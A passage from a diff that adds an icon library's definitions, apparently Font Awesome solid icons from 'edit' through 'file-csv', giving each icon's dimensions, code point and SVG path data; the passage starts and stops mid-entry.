195.32l-82.81-51.76c-8.04-5.02-18.99-2.17-22.93 6.45A254.19 254.19 0 0 0 .54 239.28C-.05 248.37 7.59 256 16.69 256h97.13c7.96 0 14.08-6.25 15.01-14.16 1.09-9.33 3.24-18.33 6.24-26.94 2.56-7.34.25-15.46-6.34-19.58zM319.03 8C298.86 2.82 277.77 0 256 0s-42.86 2.82-63.03 8c-9.17 2.35-13.91 12.6-10.39 21.39l37.47 104.03A16.003 16.003 0 0 0 235.1 144h41.8c6.75 0 12.77-4.23 15.05-10.58l37.47-104.03c3.52-8.79-1.22-19.03-10.39-21.39zM112 288H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm0 128H16c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm77.31-283.67l-36.32-90.8c-3.53-8.83-14.13-12.99-22.42-8.31a257.308 257.308 0 0 0-71.61 59.89c-6.06 7.32-3.85 18.48 4.22 23.52l82.93 51.83c6.51 4.07 14.66 2.62 20.11-2.79 5.18-5.15 10.79-9.85 16.79-14.05 6.28-4.41 9.15-12.17 6.3-19.29zM398.18 256h97.13c9.1 0 16.74-7.63 16.15-16.72a254.135 254.135 0 0 0-22.45-89.27c-3.94-8.62-14.89-11.47-22.93-6.45l-82.81 51.76c-6.59 4.12-8.9 12.24-6.34 19.58 3.01 8.61 5.15 17.62 6.24 26.94.93 7.91 7.05 14.16 15.01 14.16zm54.85-162.89a257.308 257.308 0 0 0-71.61-59.89c-8.28-4.68-18.88-.52-22.42 8.31l-36.32 90.8c-2.85 7.12.02 14.88 6.3 19.28 6 4.2 11.61 8.9 16.79 14.05 5.44 5.41 13.6 6.86 20.11 2.79l82.93-51.83c8.07-5.03 10.29-16.19 4.22-23.51zM496 288h-96c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zm0 128h-96c-8.84 0-16 7.16-16 16v64c0 8.84 7.16 16 16 16h96c8.84 0 16-7.16 16-16v-64c0-8.84-7.16-16-16-16zM240 177.62V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V177.62c-5.23-.89-10.52-1.62-16-1.62s-10.77.73-16 1.62zm-64 41.51V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V189.36c-12.78 7.45-23.84 17.47-32 29.77zm128-29.77V472c0 4.42 3.58 8 8 8h16c4.42 0 8-3.58 8-8V219.13c-8.16-12.3-19.22-22.32-32-29.77z"], + "edit": [576, 512, [], "f044", "M402.6 83.2l90.2 90.2c3.8 3.8 3.8 10 0 13.8L274.4 405.6l-92.8 10.3c-12.4 1.4-22.9-9.1-21.5-21.5l10.3-92.8L388.8 83.2c3.8-3.8 10-3.8 13.8 0zm162-22.9l-48.8-48.8c-15.2-15.2-39.9-15.2-55.2 0l-35.4 35.4c-3.8 3.8-3.8 10 0 13.8l90.2 90.2c3.8 3.8 10 3.8 13.8 0l35.4-35.4c15.2-15.3 15.2-40 0-55.2zM384 346.2V448H64V128h229.8c3.2 0 6.2-1.3 8.5-3.5l40-40c7.6-7.6 2.2-20.5-8.5-20.5H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V306.2c0-10.7-12.9-16-20.5-8.5l-40 40c-2.2 2.3-3.5 5.3-3.5 8.5z"], + "egg": [384, 512, [], "f7fb", "M192 0C86 0 0 214 0 320s86 192 192 192 192-86 192-192S298 0 192 0z"], + "eject": [448, 512, [], "f052", "M448 384v64c0 17.673-14.327 32-32 32H32c-17.673 0-32-14.327-32-32v-64c0-17.673 14.327-32 32-32h384c17.673 0 32 14.327 32 32zM48.053 320h351.886c41.651 0 63.581-49.674 35.383-80.435L259.383 47.558c-19.014-20.743-51.751-20.744-70.767 0L12.67 239.565C-15.475 270.268 6.324 320 48.053 320z"], + "ellipsis-h": [512, 512, [], "f141", "M328 256c0 39.8-32.2 72-72 72s-72-32.2-72-72 32.2-72 72-72 72 32.2 72 72zm104-72c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm-352 0c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72z"], + "ellipsis-v": [192, 512, [], "f142", "M96 184c39.8 0 72 32.2 72 72s-32.2 72-72 72-72-32.2-72-72 32.2-72 72-72zM24 80c0 39.8 32.2 72 72 72s72-32.2 72-72S135.8 8 96 8 24 40.2 24 80zm0 352c0 39.8 32.2 72 72 72s72-32.2 72-72-32.2-72-72-72-72 32.2-72 72z"], + "envelope": [512, 512, [], "f0e0", "M502.3 190.8c3.9-3.1 9.7-.2 9.7 4.7V400c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V195.6c0-5 5.7-7.8 9.7-4.7 22.4 17.4 52.1 39.5 154.1 113.6 21.1 15.4 56.7 47.8 92.2 47.6 35.7.3 72-32.8 92.3-47.6 102-74.1 131.6-96.3 154-113.7zM256 320c23.2.4 56.6-29.2 73.4-41.4 132.7-96.3 142.8-104.7 173.4-128.7 5.8-4.5 9.2-11.5 9.2-18.9v-19c0-26.5-21.5-48-48-48H48C21.5 64 0 85.5 0 112v19c0 7.4 3.4 14.3 9.2 18.9 30.6 23.9 40.7 32.4 173.4 128.7 16.8 12.2 50.2 41.8 73.4 41.4z"], + "envelope-open": [512, 512, [], "f2b6", "M512 464c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V200.724a48 48 0 0 1 18.387-37.776c24.913-19.529 45.501-35.365 164.2-121.511C199.412 29.17 232.797-.347 256 .003c23.198-.354 56.596 29.172 73.413 41.433 118.687 86.137 139.303 101.995 164.2 121.512A48 48 0 0 1 512 200.724V464zm-65.666-196.605c-2.563-3.728-7.7-4.595-11.339-1.907-22.845 16.873-55.462 40.705-105.582 77.079-16.825 12.266-50.21 41.781-73.413 41.43-23.211.344-56.559-29.143-73.413-41.43-50.114-36.37-82.734-60.204-105.582-77.079-3.639-2.688-8.776-1.821-11.339 1.907l-9.072 13.196a7.998 7.998 0 0 0 1.839 10.967c22.887 16.899 55.454 40.69 105.303 76.868 20.274 14.781 56.524 47.813 92.264 47.573 35.724.242 71.961-32.771 92.263-47.573 49.85-36.179 82.418-59.97 105.303-76.868a7.998 7.998 0 0 0 1.839-10.967l-9.071-13.196z"], + "envelope-open-text": [512, 512, [], "f658", "M176 216h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16c0 8.84 7.16 16 16 16zm-16 80c0 8.84 7.16 16 16 16h160c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16H176c-8.84 0-16 7.16-16 16v16zm96 121.13c-16.42 0-32.84-5.06-46.86-15.19L0 250.86V464c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V250.86L302.86 401.94c-14.02 10.12-30.44 15.19-46.86 15.19zm237.61-254.18c-8.85-6.94-17.24-13.47-29.61-22.81V96c0-26.51-21.49-48-48-48h-77.55c-3.04-2.2-5.87-4.26-9.04-6.56C312.6 29.17 279.2-.35 256 0c-23.2-.35-56.59 29.17-73.41 41.44-3.17 2.3-6 4.36-9.04 6.56H96c-26.51 0-48 21.49-48 48v44.14c-12.37 9.33-20.76 15.87-29.61 22.81A47.995 47.995 0 0 0 0 200.72v10.65l96 69.35V96h320v184.72l96-69.35v-10.65c0-14.74-6.78-28.67-18.39-37.77z"], + "envelope-square": [448, 512, [], "f199", "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zM178.117 262.104C87.429 196.287 88.353 196.121 64 177.167V152c0-13.255 10.745-24 24-24h272c13.255 0 24 10.745 24 24v25.167c-24.371 18.969-23.434 19.124-114.117 84.938-10.5 7.655-31.392 26.12-45.883 25.894-14.503.218-35.367-18.227-45.883-25.895zM384 217.775V360c0 13.255-10.745 24-24 24H88c-13.255 0-24-10.745-24-24V217.775c13.958 10.794 33.329 25.236 95.303 70.214 14.162 10.341 37.975 32.145 64.694 32.01 26.887.134 51.037-22.041 64.72-32.025 61.958-44.965 81.325-59.406 95.283-70.199z"], + "equals": [448, 512, [], "f52c", "M416 304H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32zm0-192H32c-17.67 0-32 14.33-32 32v32c0 17.67 14.33 32 32 32h384c17.67 0 32-14.33 32-32v-32c0-17.67-14.33-32-32-32z"], + "eraser": [512, 512, [], "f12d", "M497.941 273.941c18.745-18.745 18.745-49.137 0-67.882l-160-160c-18.745-18.745-49.136-18.746-67.883 0l-256 256c-18.745 18.745-18.745 49.137 0 67.882l96 96A48.004 48.004 0 0 0 144 480h356c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12H355.883l142.058-142.059zm-302.627-62.627l137.373 137.373L265.373 416H150.628l-80-80 124.686-124.686z"], + "ethernet": [512, 512, [], "f796", "M496 192h-48v-48c0-8.8-7.2-16-16-16h-48V80c0-8.8-7.2-16-16-16H144c-8.8 0-16 7.2-16 16v48H80c-8.8 0-16 7.2-16 16v48H16c-8.8 0-16 7.2-16 16v224c0 8.8 7.2 16 16 16h80V320h32v128h64V320h32v128h64V320h32v128h64V320h32v128h80c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16z"], + "euro-sign": [320, 512, [], "f153", "M310.706 413.765c-1.314-6.63-7.835-10.872-14.424-9.369-10.692 2.439-27.422 5.413-45.426 5.413-56.763 0-101.929-34.79-121.461-85.449h113.689a12 12 0 0 0 11.708-9.369l6.373-28.36c1.686-7.502-4.019-14.631-11.708-14.631H115.22c-1.21-14.328-1.414-28.287.137-42.245H261.95a12 12 0 0 0 11.723-9.434l6.512-29.755c1.638-7.484-4.061-14.566-11.723-14.566H130.184c20.633-44.991 62.69-75.03 117.619-75.03 14.486 0 28.564 2.25 37.851 4.145 6.216 1.268 12.347-2.498 14.002-8.623l11.991-44.368c1.822-6.741-2.465-13.616-9.326-14.917C290.217 34.912 270.71 32 249.635 32 152.451 32 74.03 92.252 45.075 176H12c-6.627 0-12 5.373-12 12v29.755c0 6.627 5.373 12 12 12h21.569c-1.009 13.607-1.181 29.287-.181 42.245H12c-6.627 0-12 5.373-12 12v28.36c0 6.627 5.373 12 12 12h30.114C67.139 414.692 145.264 480 249.635 480c26.301 0 48.562-4.544 61.101-7.788 6.167-1.595 10.027-7.708 8.788-13.957l-8.818-44.49z"], + "exchange-alt": [512, 512, [], "f362", "M0 168v-16c0-13.255 10.745-24 24-24h360V80c0-21.367 25.899-32.042 40.971-16.971l80 80c9.372 9.373 9.372 24.569 0 33.941l-80 80C409.956 271.982 384 261.456 384 240v-48H24c-13.255 0-24-10.745-24-24zm488 152H128v-48c0-21.314-25.862-32.08-40.971-16.971l-80 80c-9.372 9.373-9.372 24.569 0 33.941l80 80C102.057 463.997 128 453.437 128 432v-48h360c13.255 0 24-10.745 24-24v-16c0-13.255-10.745-24-24-24z"], + "exclamation": [192, 512, [], "f12a", "M176 432c0 44.112-35.888 80-80 80s-80-35.888-80-80 35.888-80 80-80 80 35.888 80 80zM25.26 25.199l13.6 272C39.499 309.972 50.041 320 62.83 320h66.34c12.789 0 23.331-10.028 23.97-22.801l13.6-272C167.425 11.49 156.496 0 142.77 0H49.23C35.504 0 24.575 11.49 25.26 25.199z"], + "exclamation-circle": [512, 512, [], "f06a", "M504 256c0 136.997-111.043 248-248 248S8 392.997 8 256C8 119.083 119.043 8 256 8s248 111.083 248 248zm-248 50c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z"], + "exclamation-triangle": [576, 512, [], "f071", "M569.517 440.013C587.975 472.007 564.806 512 527.94 512H48.054c-36.937 0-59.999-40.055-41.577-71.987L246.423 23.985c18.467-32.009 64.72-31.951 83.154 0l239.94 416.028zM288 354c-25.405 0-46 20.595-46 46s20.595 46 46 46 46-20.595 46-46-20.595-46-46-46zm-43.673-165.346l7.418 136c.347 6.364 5.609 11.346 11.982 11.346h48.546c6.373 0 11.635-4.982 11.982-11.346l7.418-136c.375-6.874-5.098-12.654-11.982-12.654h-63.383c-6.884 0-12.356 5.78-11.981 12.654z"], + "expand": [448, 512, [], "f065", "M0 180V56c0-13.3 10.7-24 24-24h124c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12H64v84c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12zM288 44v40c0 6.6 5.4 12 12 12h84v84c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12V56c0-13.3-10.7-24-24-24H300c-6.6 0-12 5.4-12 12zm148 276h-40c-6.6 0-12 5.4-12 12v84h-84c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h124c13.3 0 24-10.7 24-24V332c0-6.6-5.4-12-12-12zM160 468v-40c0-6.6-5.4-12-12-12H64v-84c0-6.6-5.4-12-12-12H12c-6.6 0-12 5.4-12 12v124c0 13.3 10.7 24 24 24h124c6.6 0 12-5.4 12-12z"], + "expand-alt": [448, 512, [], "f424", "M212.686 315.314L120 408l32.922 31.029c15.12 15.12 4.412 40.971-16.97 40.971h-112C10.697 480 0 469.255 0 456V344c0-21.382 25.803-32.09 40.922-16.971L72 360l92.686-92.686c6.248-6.248 16.379-6.248 22.627 0l25.373 25.373c6.249 6.248 6.249 16.378 0 22.627zm22.628-118.628L328 104l-32.922-31.029C279.958 57.851 290.666 32 312.048 32h112C437.303 32 448 42.745 448 56v112c0 21.382-25.803 32.09-40.922 16.971L376 152l-92.686 92.686c-6.248 6.248-16.379 6.248-22.627 0l-25.373-25.373c-6.249-6.248-6.249-16.378 0-22.627z"], + "expand-arrows-alt": [448, 512, [], "f31e", "M448 344v112a23.94 23.94 0 0 1-24 24H312c-21.39 0-32.09-25.9-17-41l36.2-36.2L224 295.6 116.77 402.9 153 439c15.09 15.1 4.39 41-17 41H24a23.94 23.94 0 0 1-24-24V344c0-21.4 25.89-32.1 41-17l36.19 36.2L184.46 256 77.18 148.7 41 185c-15.1 15.1-41 4.4-41-17V56a23.94 23.94 0 0 1 24-24h112c21.39 0 32.09 25.9 17 41l-36.2 36.2L224 216.4l107.23-107.3L295 73c-15.09-15.1-4.39-41 17-41h112a23.94 23.94 0 0 1 24 24v112c0 21.4-25.89 32.1-41 17l-36.19-36.2L263.54 256l107.28 107.3L407 327.1c15.1-15.2 41-4.5 41 16.9z"], + "external-link-alt": [512, 512, [], "f35d", "M432,320H400a16,16,0,0,0-16,16V448H64V128H208a16,16,0,0,0,16-16V80a16,16,0,0,0-16-16H48A48,48,0,0,0,0,112V464a48,48,0,0,0,48,48H400a48,48,0,0,0,48-48V336A16,16,0,0,0,432,320ZM488,0h-128c-21.37,0-32.05,25.91-17,41l35.73,35.73L135,320.37a24,24,0,0,0,0,34L157.67,377a24,24,0,0,0,34,0L435.28,133.32,471,169c15,15,41,4.5,41-17V24A24,24,0,0,0,488,0Z"], + "external-link-square-alt": [448, 512, [], "f360", "M448 80v352c0 26.51-21.49 48-48 48H48c-26.51 0-48-21.49-48-48V80c0-26.51 21.49-48 48-48h352c26.51 0 48 21.49 48 48zm-88 16H248.029c-21.313 0-32.08 25.861-16.971 40.971l31.984 31.987L67.515 364.485c-4.686 4.686-4.686 12.284 0 16.971l31.029 31.029c4.687 4.686 12.285 4.686 16.971 0l195.526-195.526 31.988 31.991C358.058 263.977 384 253.425 384 231.979V120c0-13.255-10.745-24-24-24z"], + "eye": [576, 512, [], "f06e", "M572.52 241.4C518.29 135.59 410.93 64 288 64S57.68 135.64 3.48 241.41a32.35 32.35 0 0 0 0 29.19C57.71 376.41 165.07 448 288 448s230.32-71.64 284.52-177.41a32.35 32.35 0 0 0 0-29.19zM288 400a144 144 0 1 1 144-144 143.93 143.93 0 0 1-144 144zm0-240a95.31 95.31 0 0 0-25.31 3.79 47.85 47.85 0 0 1-66.9 66.9A95.78 95.78 0 1 0 288 160z"], + "eye-dropper": [512, 512, [], "f1fb", "M50.75 333.25c-12 12-18.75 28.28-18.75 45.26V424L0 480l32 32 56-32h45.49c16.97 0 33.25-6.74 45.25-18.74l126.64-126.62-128-128L50.75 333.25zM483.88 28.12c-37.47-37.5-98.28-37.5-135.75 0l-77.09 77.09-13.1-13.1c-9.44-9.44-24.65-9.31-33.94 0l-40.97 40.97c-9.37 9.37-9.37 24.57 0 33.94l161.94 161.94c9.44 9.44 24.65 9.31 33.94 0L419.88 288c9.37-9.37 9.37-24.57 0-33.94l-13.1-13.1 77.09-77.09c37.51-37.48 37.51-98.26.01-135.75z"], + "eye-slash": [640, 512, [], "f070", "M320 400c-75.85 0-137.25-58.71-142.9-133.11L72.2 185.82c-13.79 17.3-26.48 35.59-36.72 55.59a32.35 32.35 0 0 0 0 29.19C89.71 376.41 197.07 448 320 448c26.91 0 52.87-4 77.89-10.46L346 397.39a144.13 144.13 0 0 1-26 2.61zm313.82 58.1l-110.55-85.44a331.25 331.25 0 0 0 81.25-102.07 32.35 32.35 0 0 0 0-29.19C550.29 135.59 442.93 64 320 64a308.15 308.15 0 0 0-147.32 37.7L45.46 3.37A16 16 0 0 0 23 6.18L3.37 31.45A16 16 0 0 0 6.18 53.9l588.36 454.73a16 16 0 0 0 22.46-2.81l19.64-25.27a16 16 0 0 0-2.82-22.45zm-183.72-142l-39.3-30.38A94.75 94.75 0 0 0 416 256a94.76 94.76 0 0 0-121.31-92.21A47.65 47.65 0 0 1 304 192a46.64 46.64 0 0 1-1.54 10l-73.61-56.89A142.31 142.31 0 0 1 320 112a143.92 143.92 0 0 1 144 144c0 21.63-5.29 41.79-13.9 60.11z"], + "fan": [512, 512, [], "f863", "M352.57 128c-28.09 0-54.09 4.52-77.06 12.86l12.41-123.11C289 7.31 279.81-1.18 269.33.13 189.63 10.13 128 77.64 128 159.43c0 28.09 4.52 54.09 12.86 77.06L17.75 224.08C7.31 223-1.18 232.19.13 242.67c10 79.7 77.51 141.33 159.3 141.33 28.09 0 54.09-4.52 77.06-12.86l-12.41 123.11c-1.05 10.43 8.11 18.93 18.59 17.62 79.7-10 141.33-77.51 141.33-159.3 0-28.09-4.52-54.09-12.86-77.06l123.11 12.41c10.44 1.05 18.93-8.11 17.62-18.59-10-79.7-77.51-141.33-159.3-141.33zM256 288a32 32 0 1 1 32-32 32 32 0 0 1-32 32z"], + "fast-backward": [512, 512, [], "f049", "M0 436V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v151.9L235.5 71.4C256.1 54.3 288 68.6 288 96v131.9L459.5 71.4C480.1 54.3 512 68.6 512 96v320c0 27.4-31.9 41.7-52.5 24.6L288 285.3V416c0 27.4-31.9 41.7-52.5 24.6L64 285.3V436c0 6.6-5.4 12-12 12H12c-6.6 0-12-5.4-12-12z"], + "fast-forward": [512, 512, [], "f050", "M512 76v360c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12V284.1L276.5 440.6c-20.6 17.2-52.5 2.8-52.5-24.6V284.1L52.5 440.6C31.9 457.8 0 443.4 0 416V96c0-27.4 31.9-41.7 52.5-24.6L224 226.8V96c0-27.4 31.9-41.7 52.5-24.6L448 226.8V76c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12z"], + "faucet": [512, 512, [], "e005", "M352,256H313.39c-15.71-13.44-35.46-23.07-57.39-28V180.44l-32-3.38-32,3.38V228c-21.93,5-41.68,14.6-57.39,28H16A16,16,0,0,0,0,272v96a16,16,0,0,0,16,16h92.79C129.38,421.73,173,448,224,448s94.62-26.27,115.21-64H352a32,32,0,0,1,32,32,32,32,0,0,0,32,32h64a32,32,0,0,0,32-32A160,160,0,0,0,352,256ZM81.59,159.91l142.41-15,142.41,15c9.42,1,17.59-6.81,17.59-16.8V112.89c0-10-8.17-17.8-17.59-16.81L256,107.74V80a16,16,0,0,0-16-16H208a16,16,0,0,0-16,16v27.74L81.59,96.08C72.17,95.09,64,102.9,64,112.89v30.22C64,153.1,72.17,160.91,81.59,159.91Z"], + "fax": [512, 512, [], "f1ac", "M480 160V77.25a32 32 0 0 0-9.38-22.63L425.37 9.37A32 32 0 0 0 402.75 0H160a32 32 0 0 0-32 32v448a32 32 0 0 0 32 32h320a32 32 0 0 0 32-32V192a32 32 0 0 0-32-32zM288 432a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm128 128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-128a16 16 0 0 1-16 16h-32a16 16 0 0 1-16-16v-32a16 16 0 0 1 16-16h32a16 16 0 0 1 16 16zm0-112H192V64h160v48a16 16 0 0 0 16 16h48zM64 128H32a32 32 0 0 0-32 32v320a32 32 0 0 0 32 32h32a32 32 0 0 0 32-32V160a32 32 0 0 0-32-32z"], + "feather": [512, 512, [], "f52d", "M467.14 44.84c-62.55-62.48-161.67-64.78-252.28 25.73-78.61 78.52-60.98 60.92-85.75 85.66-60.46 60.39-70.39 150.83-63.64 211.17l178.44-178.25c6.26-6.25 16.4-6.25 22.65 0s6.25 16.38 0 22.63L7.04 471.03c-9.38 9.37-9.38 24.57 0 33.94 9.38 9.37 24.6 9.37 33.98 0l66.1-66.03C159.42 454.65 279 457.11 353.95 384h-98.19l147.57-49.14c49.99-49.93 36.38-36.18 46.31-46.86h-97.78l131.54-43.8c45.44-74.46 34.31-148.84-16.26-199.36z"], + "feather-alt": [512, 512, [], "f56b", "M512 0C460.22 3.56 96.44 38.2 71.01 287.61c-3.09 26.66-4.84 53.44-5.99 80.24l178.87-178.69c6.25-6.25 16.4-6.25 22.65 0s6.25 16.38 0 22.63L7.04 471.03c-9.38 9.37-9.38 24.57 0 33.94 9.38 9.37 24.59 9.37 33.98 0l57.13-57.07c42.09-.14 84.15-2.53 125.96-7.36 53.48-5.44 97.02-26.47 132.58-56.54H255.74l146.79-48.88c11.25-14.89 21.37-30.71 30.45-47.12h-81.14l106.54-53.21C500.29 132.86 510.19 26.26 512 0z"], + "female": [256, 512, [], "f182", "M128 0c35.346 0 64 28.654 64 64s-28.654 64-64 64c-35.346 0-64-28.654-64-64S92.654 0 128 0m119.283 354.179l-48-192A24 24 0 0 0 176 144h-11.36c-22.711 10.443-49.59 10.894-73.28 0H80a24 24 0 0 0-23.283 18.179l-48 192C4.935 369.305 16.383 384 32 384h56v104c0 13.255 10.745 24 24 24h32c13.255 0 24-10.745 24-24V384h56c15.591 0 27.071-14.671 23.283-29.821z"], + "fighter-jet": [640, 512, [], "f0fb", "M544 224l-128-16-48-16h-24L227.158 44h39.509C278.333 44 288 41.375 288 38s-9.667-6-21.333-6H152v12h16v164h-48l-66.667-80H18.667L8 138.667V208h8v16h48v2.666l-64 8v42.667l64 8V288H16v16H8v69.333L18.667 384h34.667L120 304h48v164h-16v12h114.667c11.667 0 21.333-2.625 21.333-6s-9.667-6-21.333-6h-39.509L344 320h24l48-16 128-16c96-21.333 96-26.583 96-32 0-5.417 0-10.667-96-32z"], + "file": [384, 512, [], "f15b", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm160-14.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"], + "file-alt": [384, 512, [], "f15c", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm64 236c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12v8zm0-64c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12v8zm0-72v8c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-8c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm96-114.1v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"], + "file-archive": [384, 512, [], "f1c6", "M377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9zM128.4 336c-17.9 0-32.4 12.1-32.4 27 0 15 14.6 27 32.5 27s32.4-12.1 32.4-27-14.6-27-32.5-27zM224 136V0h-63.6v32h-32V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM95.9 32h32v32h-32zm32.3 384c-33.2 0-58-30.4-51.4-62.9L96.4 256v-32h32v-32h-32v-32h32v-32h-32V96h32V64h32v32h-32v32h32v32h-32v32h32v32h-32v32h22.1c5.7 0 10.7 4.1 11.8 9.7l17.3 87.7c6.4 32.4-18.4 62.6-51.4 62.6z"], + "file-audio": [384, 512, [], "f1c7", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm-64 268c0 10.7-12.9 16-20.5 8.5L104 376H76c-6.6 0-12-5.4-12-12v-56c0-6.6 5.4-12 12-12h28l35.5-36.5c7.6-7.6 20.5-2.2 20.5 8.5v136zm33.2-47.6c9.1-9.3 9.1-24.1 0-33.4-22.1-22.8 12.2-56.2 34.4-33.5 27.2 27.9 27.2 72.4 0 100.4-21.8 22.3-56.9-10.4-34.4-33.5zm86-117.1c54.4 55.9 54.4 144.8 0 200.8-21.8 22.4-57-10.3-34.4-33.5 36.2-37.2 36.3-96.5 0-133.8-22.1-22.8 12.3-56.3 34.4-33.5zM384 121.9v6.1H256V0h6.1c6.4 0 12.5 2.5 17 7l97.9 98c4.5 4.5 7 10.6 7 16.9z"], + "file-code": [384, 512, [], "f1c9", "M384 121.941V128H256V0h6.059c6.365 0 12.47 2.529 16.971 7.029l97.941 97.941A24.005 24.005 0 0 1 384 121.941zM248 160c-13.2 0-24-10.8-24-24V0H24C10.745 0 0 10.745 0 24v464c0 13.255 10.745 24 24 24h336c13.255 0 24-10.745 24-24V160H248zM123.206 400.505a5.4 5.4 0 0 1-7.633.246l-64.866-60.812a5.4 5.4 0 0 1 0-7.879l64.866-60.812a5.4 5.4 0 0 1 7.633.246l19.579 20.885a5.4 5.4 0 0 1-.372 7.747L101.65 336l40.763 35.874a5.4 5.4 0 0 1 .372 7.747l-19.579 20.884zm51.295 50.479l-27.453-7.97a5.402 5.402 0 0 1-3.681-6.692l61.44-211.626a5.402 5.402 0 0 1 6.692-3.681l27.452 7.97a5.4 5.4 0 0 1 3.68 6.692l-61.44 211.626a5.397 5.397 0 0 1-6.69 3.681zm160.792-111.045l-64.866 60.812a5.4 5.4 0 0 1-7.633-.246l-19.58-20.885a5.4 5.4 0 0 1 .372-7.747L284.35 336l-40.763-35.874a5.4 5.4 0 0 1-.372-7.747l19.58-20.885a5.4 5.4 0 0 1 7.633-.246l64.866 60.812a5.4 5.4 0 0 1-.001 7.879z"], + "file-contract": [384, 512, [], "f56c", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zM64 72c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8V72zm0 64c0-4.42 3.58-8 8-8h80c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8H72c-4.42 0-8-3.58-8-8v-16zm192.81 248H304c8.84 0 16 7.16 16 16s-7.16 16-16 16h-47.19c-16.45 0-31.27-9.14-38.64-23.86-2.95-5.92-8.09-6.52-10.17-6.52s-7.22.59-10.02 6.19l-7.67 15.34a15.986 15.986 0 0 1-14.31 8.84c-.38 0-.75-.02-1.14-.05-6.45-.45-12-4.75-14.03-10.89L144 354.59l-10.61 31.88c-5.89 17.66-22.38 29.53-41 29.53H80c-8.84 0-16-7.16-16-16s7.16-16 16-16h12.39c4.83 0 9.11-3.08 10.64-7.66l18.19-54.64c3.3-9.81 12.44-16.41 22.78-16.41s19.48 6.59 22.77 16.41l13.88 41.64c19.77-16.19 54.05-9.7 66 14.16 2.02 4.06 5.96 6.5 10.16 6.5zM377 105L279.1 7c-4.5-4.5-10.6-7-17-7H256v128h128v-6.1c0-6.3-2.5-12.4-7-16.9z"], + "file-csv": [384, 512, [], "f6dd", "M224 136V0H24C10.7 0 0 10.7 0 24v464c0 13.3 10.7 24 24 24h336c13.3 0 24-10.7 24-24V160H248c-13.2 0-24-10.8-24-24zm-96 144c0 4.42-3.58 8-8 8h-8c-8.84 0-16 7.16-16 16v32c0 8.84 7.16 16 16 16h8c4.42 0 8 3.58 8 8v16c0 4.42-3.58 8-8 8h-8c-26.51 0-48-21.49-48-48v-32c0-26.51 21.49-48 48-48h8c4.42 0 8 3.58 8 8v16zm44.27 